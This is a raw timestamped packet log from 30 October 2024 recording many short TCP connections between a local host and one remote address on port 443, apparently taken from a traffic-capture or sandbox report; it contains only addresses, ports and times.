Oct 30, 2024 07:28:39.349419117 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.349468946 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.349567890 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.349756956 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.349772930 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.394371033 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.395071030 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.395085096 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.395730972 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.395740032 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.471478939 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.471512079 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.471570015 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.471703053 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.471703053 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.471962929 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.471986055 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.472001076 CET	50021	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.472007036 CET	443	50021	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.475595951 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.475634098 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.475717068 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.475929022 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.475939035 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.499659061 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.499692917 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.499737024 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.499799013 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.499950886 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.500103951 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.500122070 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.500133038 CET	50019	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.500140905 CET	443	50019	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.503505945 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.503540993 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.503623962 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.503789902 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.503803015 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.526196957 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.526274920 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.526505947 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.526613951 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.526613951 CET	50022	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.526635885 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.526647091 CET	443	50022	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.529588938 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.529649973 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.529742002 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.529973984 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.529989004 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.908749104 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.941102028 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.941143990 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:39.941577911 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:39.941584110 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.074549913 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.074595928 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.074661970 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.074775934 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.074775934 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.074948072 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.074973106 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.074985027 CET	50023	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.074991941 CET	443	50023	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.077769041 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.077811003 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.077888966 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.078037024 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.078047991 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.095408916 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.095788956 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.095812082 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.096313000 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.096321106 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.208957911 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.209516048 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.209547043 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.209811926 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.209816933 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.229896069 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.229950905 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.230122089 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.230154991 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.230173111 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.230185986 CET	50024	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.230192900 CET	443	50024	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.232727051 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.232770920 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.232839108 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.232953072 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.232964039 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.263209105 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.271331072 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.271352053 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.271796942 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.271802902 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.277704000 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.278088093 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.278100014 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.278407097 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.278413057 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.336663008 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.336688042 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.336744070 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.336754084 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.336805105 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.337028027 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.337045908 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.337060928 CET	50025	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.337065935 CET	443	50025	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.340012074 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.340050936 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.340116024 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.340230942 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.340239048 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.399147987 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.399178982 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.399226904 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.399255991 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.399282932 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.399415016 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.399430990 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.399441004 CET	50027	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.399446964 CET	443	50027	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.401813984 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.401845932 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.401899099 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.402131081 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.402141094 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414542913 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414562941 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414623976 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.414649963 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414803982 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414905071 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.414926052 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414941072 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.414941072 CET	50026	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.414949894 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.414958954 CET	443	50026	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.417541981 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.417562008 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.417644978 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.417762041 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.417769909 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.807270050 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.807907104 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.807936907 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.808221102 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.808226109 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.940195084 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.940275908 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.940382004 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.957072020 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.957094908 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.957110882 CET	50028	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.957117081 CET	443	50028	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.959726095 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.959784985 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.959882021 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.960004091 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.960017920 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.963469982 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.965605021 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.965624094 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:40.966051102 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:40.966056108 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.087773085 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.088612080 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.088629961 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.089278936 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.089286089 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.094208956 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.094247103 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.094289064 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.094299078 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.094327927 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.094516993 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.094531059 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.094547033 CET	50029	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.094552994 CET	443	50029	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.098026037 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.098062038 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.098124027 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.098270893 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.098279953 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.131244898 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.131814003 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.131829977 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.132318020 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.132323027 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.148797035 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.149780989 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.149806023 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.150217056 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.150223017 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.221630096 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.221705914 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.221890926 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.221921921 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.221935987 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.221945047 CET	50030	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.221951008 CET	443	50030	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.224554062 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.224611044 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.224689960 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.224853992 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.224869967 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.261707067 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.262124062 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.262176991 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.262177944 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.262222052 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.262264013 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.262279987 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.262290955 CET	50031	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.262295961 CET	443	50031	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.264404058 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.264435053 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.264508963 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.264636040 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.264643908 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.280472040 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.280538082 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.280610085 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.280761003 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.280781984 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.280793905 CET	50032	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.280800104 CET	443	50032	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.282655954 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.282695055 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.282758951 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.282875061 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.282885075 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.709393978 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.710267067 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.710299969 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.710855007 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.710864067 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.837475061 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.838257074 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.838285923 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.839093924 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.839101076 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.846487045 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.846519947 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.846570015 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.846606970 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.846652031 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.846784115 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.846803904 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.846821070 CET	50033	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.846827030 CET	443	50033	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.849952936 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.849998951 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.850068092 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.850241899 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.850255013 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.968683004 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.968795061 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.968889952 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.970485926 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.970505953 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.970516920 CET	50034	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.970523119 CET	443	50034	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.972743034 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.997457981 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.997489929 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.997642040 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.997910023 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.997917891 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.998209953 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.998239040 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:41.998781919 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:41.998789072 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.002392054 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.002432108 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.002850056 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.003055096 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.003066063 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.050605059 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.053083897 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.053108931 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.053596973 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.053602934 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128230095 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128273010 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128328085 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128396988 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.128429890 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.128657103 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128726006 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128736973 CET	50035	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.128757954 CET	443	50035	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.128814936 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.128976107 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.128993034 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.129004002 CET	50036	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.129010916 CET	443	50036	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.131747961 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.131784916 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.131887913 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.132000923 CET	50040	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.132010937 CET	443	50040	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.132045984 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.132085085 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.132144928 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.132318974 CET	50041	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.132330894 CET	443	50041	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.187058926 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.187134981 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.187381983 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.187441111 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.187457085 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.187469959 CET	50037	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.187474966 CET	443	50037	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.190562963 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.190587997 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.190658092 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.190846920 CET	50042	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.190855026 CET	443	50042	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.579824924 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.582817078 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.582839966 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.583246946 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.583251953 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.728305101 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.728816032 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.728843927 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.729233027 CET	50039	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.729239941 CET	443	50039	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.750231028 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.750433922 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.750489950 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.750493050 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.750539064 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.750602007 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.750619888 CET	443	50038	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:42.750633955 CET	50038	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:42.750641108 CET	443	50038	13.107.246.45	192.168.2.4
